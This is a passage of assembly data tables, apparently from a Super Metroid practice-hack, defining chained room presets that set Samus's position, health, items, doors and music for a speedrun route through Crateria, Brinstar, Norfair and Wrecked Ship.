$D828, $0004 ; Bosses dw $D870, $0080 ; Items dw $D8B2, $2C00 ; Doors dw #$FFFF preset_kpdr21_crateria_terminator: dw #preset_kpdr21_crateria_alcatraz ; Crateria: Alcatraz dw $078D, $8BB6 ; DDB dw $079B, $92FD ; MDB dw $090F, $6000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $5800 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $0A1C, $0041 ; Samus position/state dw $0A1E, $0404 ; More position/state dw $0AF6, $0115 ; Samus X dw $0AFA, $0099 ; Samus Y dw #$FFFF preset_kpdr21_crateria_green_pirate_shaft: dw #preset_kpdr21_crateria_terminator ; Crateria: Terminator dw $078D, $895E ; DDB dw $079B, $990D ; MDB dw $090F, $9F00 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $01FC ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $017D ; Layer 2 Y position dw $09C2, $00C7 ; Health dw $09C4, $00C7 ; Max health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0063 ; Samus X dw $0AFA, $029B ; Samus Y dw $D870, $0180 ; Items dw #$FFFF preset_kpdr21_brinstar_green_brinstar_elevator: dw #preset_kpdr21_crateria_green_pirate_shaft ; Crateria: Green Pirate Shaft dw $078D, $8C22 ; DDB dw $079B, $9938 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0913, $C400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $008B ; Health dw $0AF6, $007E ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_early_supers: dw #preset_kpdr21_brinstar_green_brinstar_elevator ; Brinstar: Green Brinstar Elevator dw $078D, $8C0A ; DDB dw $079B, $9AD9 ; MDB dw $07F3, $000F ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $041B ; Screen Y position in pixels dw $0919, $0314 ; Layer 2 Y position dw $09C6, $0000 ; Missiles dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00A5 ; Samus X dw $0AFA, $048B ; Samus Y dw $D8B4, $0002 ; Doors dw #$FFFF preset_kpdr21_brinstar_dachora_room: dw #preset_kpdr21_brinstar_early_supers ; Brinstar: Early Supers dw $078D, $8D4E ; DDB dw $090F, $B000 ; Screen subpixel X position dw $0915, $061B ; Screen Y position in pixels dw $0919, $0494 ; Layer 2 Y position dw $09C2, $0081 ; Health dw $09CA, $0004 ; Supers dw $09CC, $0005 ; Max supers dw $0AF6, $0057 ; Samus X dw $0AFA, $068B ; Samus Y dw $D872, $0401 ; Items dw $D8B4, $0006 ; Doors dw #$FFFF preset_kpdr21_brinstar_big_pink: dw #preset_kpdr21_brinstar_dachora_room ; Brinstar: Dachora Room dw $078D, $8CE2 ; DDB dw $079B, $9CB3 ; MDB dw $090F, $5000 ; Screen subpixel X position dw $0911, $0600 ; Screen X position in pixels dw $0913, $8000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0480 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0002 ; Missiles dw $0AF6, $069C ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_green_hill_zone: dw #preset_kpdr21_brinstar_big_pink ; Brinstar: Big Pink dw $078D, $8DAE ; DDB dw $079B, $9D19 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $8C00 ; Screen subpixel Y position dw $0915, $0611 ; Screen Y position in pixels dw $0917, $0240 ; Layer 2 X position dw $0919, $048C ; Layer 2 Y position dw $09A6, $1000 ; Beams dw $09A8, $1000 ; Beams dw $09C6, $0007 ; Missiles dw $09C8, $000A ; Max missiles dw $09CA, $0003 ; Supers dw $0AF6, $0365 ; Samus X dw $0AFA, $068B ; Samus Y dw $D872, $04C1 ; Items dw $D8B4, $0206 ; Doors dw #$FFFF preset_kpdr21_brinstar_noob_bridge: dw #preset_kpdr21_brinstar_green_hill_zone ; Brinstar: Green Hill Zone dw $078D, $8DEA ; DDB dw $079B, $9E52 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0700 ; Screen X position in pixels dw $0913, $4000 ; Screen subpixel Y position dw $0915, $0300 ; Screen Y position in pixels dw $0917, $0540 ; Layer 2 X position dw $0919, $0240 ; Layer 2 Y position dw $09C2, $0077 ; Health dw $0AF6, $07B9 ; Samus X dw $0AFA, $038B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_red_tower: dw #preset_kpdr21_brinstar_noob_bridge ; Brinstar: Noob Bridge dw $078D, $8E92 ; DDB dw $079B, $9FBA ; MDB dw $0911, $0482 ; Screen X position in pixels dw $0913, $E000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0361 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09CA, $0004 ; Supers dw $0AF6, $0522 ; Samus X dw $0AFA, $00AB ; Samus Y dw $D8B6, $0008 ; Doors dw #$FFFF preset_kpdr21_brinstar_skree_boost: dw #preset_kpdr21_brinstar_red_tower ; Brinstar: Red Tower dw $078D, $8F0A ; DDB dw $079B, $A253 ; MDB dw $07F3, $0012 ; Music Bank dw $090F, $3001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $091A ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $06D3 ; Layer 2 Y position dw $0AF6, $0056 ; Samus X dw $0AFA, $098B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_below_spazer: dw #preset_kpdr21_brinstar_skree_boost ; Brinstar: Skree Boost dw $078D, $9042 ; DDB dw $079B, $A3DD ; MDB dw $090F, $2FFF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $4400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $006D ; Health dw $0AF6, $01DC ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_entering_kraids_lair: dw #preset_kpdr21_brinstar_below_spazer ; Brinstar: Below Spazer dw $078D, $A348 ; DDB dw $079B, $CF80 ; MDB dw $090F, $4000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $CC00 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0100 ; Layer 2 Y position dw $09C6, $0006 ; Missiles dw $09CA, $0005 ; Supers dw $0AF6, $002E ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_brinstar_kraid_kihunters: dw #preset_kpdr21_brinstar_entering_kraids_lair ; Brinstar: Entering Kraids Lair dw $078D, $923A ; DDB dw $079B, $A471 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $8000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09CA, $0004 ; Supers dw $0AF6, $0167 ; Samus X dw #$FFFF preset_kpdr21_brinstar_mini_kraid: dw #preset_kpdr21_brinstar_kraid_kihunters ; Brinstar: Kraid Kihunters dw $078D, $9156 ; DDB dw $079B, $A4DA ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0913, $FC00 ; Screen subpixel Y position dw $09C2, $0059 ; Health dw $0AF6, $016B ; Samus X dw #$FFFF preset_kpdr21_brinstar_kraid: dw #preset_kpdr21_brinstar_mini_kraid ; Brinstar: Mini Kraid dw $078D, $919E ; DDB dw $079B, $A56B ; MDB dw $07F3, $0027 ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $7000 ; Screen subpixel X position dw $0913, $0800 ; Screen subpixel Y position dw $0917, $0100 ; Layer 2 X position dw $09C2, $0043 ; Health dw $09C6, $0005 ; Missiles dw $0AF6, $01C1 ; Samus X dw $D8B8, $0024 ; Doors dw #$FFFF preset_kpdr21_brinstar_leaving_varia: dw #preset_kpdr21_brinstar_kraid ; Brinstar: Kraid dw $078D, $91DA ; DDB dw $079B, $A6E2 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $1000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $5800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09A2, $1005 ; Equipped Items dw $09A4, $1005 ; Collected Items dw $09C2, $0084 ; Health dw $09C6, $0007 ; Missiles dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0078 ; Samus X dw $0AFA, $0088 ; Samus Y dw $D828, $0104 ; Bosses dw $D876, $0001 ; Items dw $D8B8, $0064 ; Doors dw #$FFFF preset_kpdr21_brinstar_mini_kraid_revisit: dw #preset_kpdr21_brinstar_leaving_varia ; Brinstar: Leaving Varia dw $078D, $91CE ; DDB dw $079B, $A56B ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0913, $7800 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $0100 ; Layer 2 Y position dw $09C2, $007C ; Health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0058 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $00E4 ; Doors dw #$FFFF preset_kpdr21_brinstar_kraid_kihunters_revisit: dw #preset_kpdr21_brinstar_mini_kraid_revisit ; Brinstar: Mini Kraid Revisit dw $078D, $91AA ; DDB dw $079B, $A521 ; MDB dw $090F, $9000 ; Screen subpixel X position dw $0913, $4000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0004 ; Missiles dw $09CA, $0005 ; Supers dw $0AF6, $009A ; Samus X dw $0AFA, $00AB ; Samus Y dw $D8B8, $00EC ; Doors dw #$FFFF preset_kpdr21_brinstar_kraid_etank: dw #preset_kpdr21_brinstar_kraid_kihunters_revisit ; Brinstar: Kraid Kihunters Revisit dw $078D, $916E ; DDB dw $079B, $A471 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0913, $D400 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $0100 ; Layer 2 Y position dw $0AF6, $0051 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $00ED ; Doors dw #$FFFF preset_kpdr21_upper_norfair_business_center: dw #preset_kpdr21_brinstar_kraid_etank ; Brinstar: Kraid E-tank dw $078D, $9246 ; DDB dw $079B, $A7DE ; MDB dw $07F3, $0015 ; Music Bank dw $090F, $B000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0238 ; Screen Y position in pixels dw $0919, $01AA ; Layer 2 Y position dw $09C6, $0006 ; Missiles dw $09CA, $0004 ; Supers dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $02A8 ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_hi_jump_etank: dw #preset_kpdr21_upper_norfair_business_center ; Upper Norfair: Business Center dw $090F, $EFFF ; Screen subpixel X position dw $0915, $051B ; Screen Y position in pixels dw $0919, $03D4 ; Layer 2 Y position dw $09CA, $0003 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0041 ; Samus X dw $0AFA, $058B ; Samus Y dw $D8B8, $20ED ; Doors dw #$FFFF preset_kpdr21_upper_norfair_leaving_hi_jump: dw #preset_kpdr21_upper_norfair_hi_jump_etank ; Upper Norfair: Hi Jump E-tank dw $078D, $9426 ; DDB dw $079B, $A9E5 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $1FFF ; Screen subpixel X position dw $0913, $0800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09A2, $1105 ; Equipped Items dw $09A4, $1105 ; Collected Items dw $09C2, $012B ; Health dw $09C4, $012B ; Max health dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00B5 ; Samus X dw $0AFA, $008B ; Samus Y dw $D876, $0121 ; Items dw $D8BA, $0001 ; Doors dw #$FFFF preset_kpdr21_upper_norfair_business_center_2: dw #preset_kpdr21_upper_norfair_leaving_hi_jump ; Upper Norfair: Leaving Hi Jump dw $078D, $93F6 ; DDB dw $079B, $AA41 ; MDB dw $07F5, $0005 ; Music Track dw $090F, $4000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $E400 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C6, $000B ; Missiles dw $09C8, $000F ; Max missiles dw $0AF6, $019C ; Samus X dw $D876, $01A1 ; Items dw #$FFFF preset_kpdr21_upper_norfair_precathedral: dw #preset_kpdr21_upper_norfair_business_center_2 ; Upper Norfair: Business Center 2 dw $078D, $941A ; DDB dw $079B, $A7DE ; MDB dw $090F, $B000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $53FE ; Screen subpixel Y position dw $0915, $02F8 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $023A ; Layer 2 Y position dw $0AF6, $00A5 ; Samus X dw $0AFA, $038B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_cathedral: dw #preset_kpdr21_upper_norfair_precathedral ; Upper Norfair: Pre-Cathedral dw $078D, $92CA ; DDB dw $079B, $A7B3 ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $F400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0200 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0009 ; Missiles dw $09CA, $0002 ; Supers dw $0AF6, $02A6 ; Samus X dw $0AFA, $008B ; Samus Y dw $D8B8, $24ED ; Doors dw #$FFFF preset_kpdr21_upper_norfair_rising_tide: dw #preset_kpdr21_upper_norfair_cathedral ; Upper Norfair: Cathedral dw $078D, $92B2 ; DDB dw $079B, $A788 ; MDB dw $090F, $7FFF ; Screen subpixel X position dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $0100 ; Layer 2 Y position dw $09CA, $0001 ; Supers dw $0AF6, $02BB ; Samus X dw $0AFA, $018B ; Samus Y dw $D8B8, $26ED ; Doors dw #$FFFF preset_kpdr21_upper_norfair_bubble_mountain: dw #preset_kpdr21_upper_norfair_rising_tide ; Upper Norfair: Rising Tide dw $078D, $929A ; DDB dw $079B, $AFA3 ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $CC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0300 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0115 ; Health dw $0AF6, $04AD ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_upper_norfair_bat_cave: dw #preset_kpdr21_upper_norfair_bubble_mountain ; Upper Norfair: Bubble Mountain dw $078D, $973E ; DDB dw $079B, $ACB3 ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $2000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $0110 ; Health dw $09C6, $0008 ; Missiles dw $0AF6, $01C2 ; Samus X dw $D8BA, $0011 ; Doors dw #$FFFF preset_kpdr21_upper_norfair_single_chamber: dw #preset_kpdr21_upper_norfair_bat_cave ; Upper Norfair: Bat Cave dw $078D, $97AA ; DDB dw $090F, $BFFF ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0104 ; Screen Y position in pixels dw $0919, $00C3 ; Layer 2 Y position dw $09A2, $3105 ; Equipped Items dw $09A4, $3105 ; Collected Items dw $09C2, $0126 ; Health dw $09C6, $000F ; Missiles dw $09CA, $0004 ; Supers dw $0AF6, $01AD ; Samus X dw $0AFA, $018B ; Samus Y dw $D822, $0020 ; Events dw $D878, $0004 ; Items dw $D8BA, $0031 ; Doors dw #$FFFF preset_kpdr21_upper_norfair_double_chamber: dw #preset_kpdr21_upper_norfair_single_chamber ; Upper Norfair: Single Chamber dw $078D, $9582 ; DDB dw $079B, $AD5E ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0915, $011C ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00D5 ; Layer 2 Y position dw $09C6, $0008 ; Missiles dw $0AF6, $00BE ; Samus X dw $D8BA, $0071 ; Doors dw #$FFFF preset_kpdr21_upper_norfair_double_chamber_revisit: dw #preset_kpdr21_upper_norfair_double_chamber ; Upper Norfair: Double Chamber dw $078D, $961E ; DDB dw $079B, $ADDE ; MDB dw $07F5, $0003 ; Music Track dw $090F, $1000 ; Screen subpixel X position dw $0913, $7800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09A6, $1001 ; Beams dw $09A8, $1001 ; Beams dw $09C6, $000D ; Missiles dw $09C8, $0014 ; Max missiles dw $09CA, $0003 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0051 ; Samus X dw $0AFA, $008B ; Samus Y dw $D878, $001C ; Items dw $D8BA, $00F1 ; Doors dw #$FFFF preset_kpdr21_upper_norfair_single_chamber_revisit: dw #preset_kpdr21_upper_norfair_double_chamber_revisit ; Upper Norfair: Double Chamber Revisit dw $078D, $962A ; DDB dw $079B, $ADAD ; MDB dw $07F5, $0005 ; Music Track dw $090F, $3000 ; Screen subpixel X position dw $0913, $6000 ; Screen subpixel Y position dw $0AF6, $0050 ; Samus X dw #$FFFF preset_kpdr21_upper_norfair_bubble_mountain_revisit: dw #preset_kpdr21_upper_norfair_single_chamber_revisit ; Upper Norfair: Single Chamber Revisit dw $078D, $9606 ; DDB dw $079B, $AD5E ; MDB dw $090F, $1000 ; Screen subpixel X position dw $0913, $EC00 ; Screen subpixel Y position dw $0915, $0002 ; Screen Y position in pixels dw $0919, $0001 ; Layer 2 Y position dw $0AF6, $008F ; Samus X dw #$FFFF preset_kpdr21_upper_norfair_frog_speedway: dw #preset_kpdr21_upper_norfair_bubble_mountain_revisit ; Upper Norfair: Bubble Mountain Revisit dw $078D, $956A ; DDB dw $079B, $AF72 ; MDB dw $090F, $5000 ; Screen subpixel X position dw $0913, $1400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $012B ; Health dw $09C6, $000E ; Missiles dw $09CA, $0004 ; Supers dw $0AF6, $008E ; Samus X dw #$FFFF preset_kpdr21_upper_norfair_business_center_3: dw #preset_kpdr21_upper_norfair_frog_speedway ; Upper Norfair: Frog Speedway dw $078D, $97DA ; DDB dw $079B, $B167 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0913, $A800 ; Screen subpixel Y position dw $0AF6, $0029 ; Samus X dw #$FFFF preset_kpdr21_red_brinstar_alpha_spark: dw #preset_kpdr21_upper_norfair_business_center_3 ; Upper Norfair: Business Center 3 dw $078D, $92EE ; DDB dw $079B, $A6A1 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $E000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $09C6, $0014 ; Missiles dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0086 ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_reverse_skree_boost: dw #preset_kpdr21_red_brinstar_alpha_spark ; Red Brinstar: Alpha Spark dw $078D, $A36C ; DDB dw $079B, $A408 ; MDB dw $07F5, $0005 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $B400 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0919, $00C0 ; Layer 2 Y position dw $09CA, $0005 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $003F ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_red_tower_climb: dw #preset_kpdr21_red_brinstar_reverse_skree_boost ; Red Brinstar: Reverse Skree Boost dw $078D, $910E ; DDB dw $079B, $A3DD ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0913, $EC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0129 ; Health dw $0AF6, $0024 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr21_red_brinstar_hellway: dw #preset_kpdr21_red_brinstar_red_tower_climb ; Red Brinstar: Red Tower Climb dw $078D, $90F6 ; DDB dw $079B, $A253 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0913, $6800 ; Screen subpixel Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $008F ; Samus X dw #$FFFF preset_kpdr21_red_brinstar_caterpillars_down: dw #preset_kpdr21_red_brinstar_hellway ; Red Brinstar: Hellway dw $078D, $901E ; DDB dw $079B, $A2F7 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $01FB ; Screen X position in pixels dw $0913, $4400 ; Screen subpixel Y position dw $0917, $017C ; Layer 2 X position dw $09C2, $0119 ; Health dw $0AF6, $0291 ; Samus X dw #$FFFF preset_kpdr21_red_brinstar_alpha_power_bombs: dw #preset_kpdr21_red_brinstar_caterpillars_down ; Red Brinstar: Caterpillars Down dw $078D, $908A ; DDB dw $079B, $A322 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $071C ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $071C ; Layer 2 Y position dw $09CA, $0004 ; Supers dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0041 ; Samus X dw $0AFA, $078B ; Samus Y dw $D8B6, $2008 ; Doors dw #$FFFF preset_kpdr21_red_brinstar_caterpillars_up: dw #preset_kpdr21_red_brinstar_alpha_power_bombs ; Red Brinstar: Alpha Power Bombs dw $078D, $9096 ; DDB dw $079B, $A3AE ; MDB dw $07F5, $0003 ; Music Track dw $090F, $4000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $FC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $010F ; Health dw $09CE, $0005 ; Pbs dw $09D0, $0005 ; Max pbs dw $09D2, $0003 ; Currently selected item dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $02AF ; Samus X dw $0AFA, $008B ; Samus Y dw $D874, $0104 ; Items dw #$FFFF preset_kpdr21_wrecked_ship_crateria_kihunters: dw #preset_kpdr21_red_brinstar_caterpillars_up ; Red Brinstar: Caterpillars Up dw $078D, $90BA ; DDB dw $079B, $962A ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09C2, $0123 ; Health dw $09CA, $0005 ; Supers dw $09CE, $0003 ; Pbs dw $0A1C, $0028 ; Samus position/state dw $0A1E, $0504 ; More position/state dw $0AF6, $0068 ; Samus X dw $0AFA, $0060 ; Samus Y dw $D8B2, $2C01 ; Doors dw $D8B6, $3008 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_oceanfly_setup: dw #preset_kpdr21_wrecked_ship_crateria_kihunters ; Wrecked Ship: Crateria Kihunters dw $078D, $8AF6 ; DDB dw $079B, $948C ; MDB dw $07F5, $0005 ; Music Track dw $090F, $8C00 ; Screen subpixel X position dw $0913, $3000 ; Screen subpixel Y position dw $09CE, $0002 ; Pbs dw $09D2, $0000 ; Currently selected item dw $09CE, $0001 ; Pbs dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $002C ; Samus X dw $0AFA, $008B ; Samus Y dw $D8B0, $6000 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_ocean_spark: dw #preset_kpdr21_wrecked_ship_oceanfly_setup ; Wrecked Ship: Oceanfly Setup dw $078D, $8A36 ; DDB dw $079B, $95FF ; MDB dw $090F, $A3FF ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $6C00 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $00EE ; Health dw $0AF6, $01C6 ; Samus X dw #$FFFF preset_kpdr21_wrecked_ship_entering_wrecked_ship: dw #preset_kpdr21_wrecked_ship_ocean_spark ; Wrecked Ship: Ocean Spark dw $078D, $8AEA ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $090F, $0000 ; Screen subpixel X position dw $0911, $0700 ; Screen X position in pixels dw $0913, $B000 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $0380 ; Layer 2 X position dw $09C2, $0074 ; Health dw $09CA, $0004 ; Supers dw $0AF6, $07DB ; Samus X dw $0AFA, $048B ; Samus Y dw $D8B0, $7000 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_basement: dw #preset_kpdr21_wrecked_ship_entering_wrecked_ship ; Wrecked Ship: Entering Wrecked Ship dw $078D, $A1BC ; DDB dw $079B, $CAF6 ; MDB dw $07F3, $0030 ; Music Bank dw $090F, $C000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $F000 ; Screen subpixel Y position dw $0915, $071F ; Screen Y position in pixels dw $0917, $0300 ; Layer 2 X position dw $0919, $0557 ; Layer 2 Y position dw $09CA, $0003 ; Supers dw $0AF6, $0455 ; Samus X dw $0AFA, $07BB ; Samus Y dw $D8C0, $0010 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_phantoon: dw #preset_kpdr21_wrecked_ship_basement ; Wrecked Ship: Basement dw $078D, $A21C ; DDB dw $079B, $CC6F ; MDB dw $090F, $F000 ; Screen subpixel X position dw $0913, $7000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09CA, $0002 ; Supers dw $0AF6, $04CC ; Samus X dw $0AFA, $008B ; Samus Y dw $D8C0, $0030 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_leaving_phantoon: dw #preset_kpdr21_wrecked_ship_phantoon ; Wrecked Ship: Phantoon dw $078D, $A2C4 ; DDB dw $07F5, $0006 ; Music Track dw $090F, $7000 ; Screen subpixel X position dw $0913, $8000 ; Screen subpixel Y position dw $09C2, $00E2 ; Health dw $09CA, $0005 ; Supers dw $09CE, $0003 ; Pbs dw $09CE, $0002 ; Pbs dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $04D6 ; Samus X dw $D82A, $0100 ; Bosses dw $D8C0, $0070 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_shaft_to_supers: dw #preset_kpdr21_wrecked_ship_leaving_phantoon ; Wrecked Ship: Leaving Phantoon dw $090F, $6000 ; Screen subpixel X position dw $0911, $0226 ; Screen X position in pixels dw $0913, $FC00 ; Screen subpixel Y position dw $0917, $019C ; Layer 2 X position dw $0AF6, $02C4 ; Samus X dw $0AFA, $006B ; Samus Y dw #$FFFF preset_kpdr21_wrecked_ship_wrecked_ship_shaft: dw #preset_kpdr21_wrecked_ship_shaft_to_supers ; Wrecked Ship: Shaft to Supers dw $078D, $A210 ; DDB dw $079B, $CDA8 ; MDB dw $090F, $1000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $7800 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09CA, $000A ; Supers dw $09CC, $000A ; Max supers dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $00C4 ; Samus X dw $0AFA, $008B ; Samus Y dw $D880, $0020 ; Items dw $D8C0, $0074 ; Doors dw #$FFFF preset_kpdr21_wrecked_ship_attic: dw #preset_kpdr21_wrecked_ship_wrecked_ship_shaft ; Wrecked Ship: Wrecked Ship Shaft dw $078D, $A2E8 ; DDB dw $079B, $CAF6 ; MDB dw $090F, $AC00 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $B000 ; Screen subpixel Y position dw $0917, $0300 ; Layer 2 X position dw $0AF6, $0445 ; Samus X dw $0AFA, $006B ; Samus Y dw #$FFFF preset_kpdr21_wrecked_ship_upper_west_ocean: dw #preset_kpdr21_wrecked_ship_attic ; Wrecked Ship: Attic dw $078D, $A228 ; DDB dw $079B, $CA52 ; MDB dw $090F, $7000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $C7FD ; Screen subpixel Y position dw $0915, $001F ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $001E ; 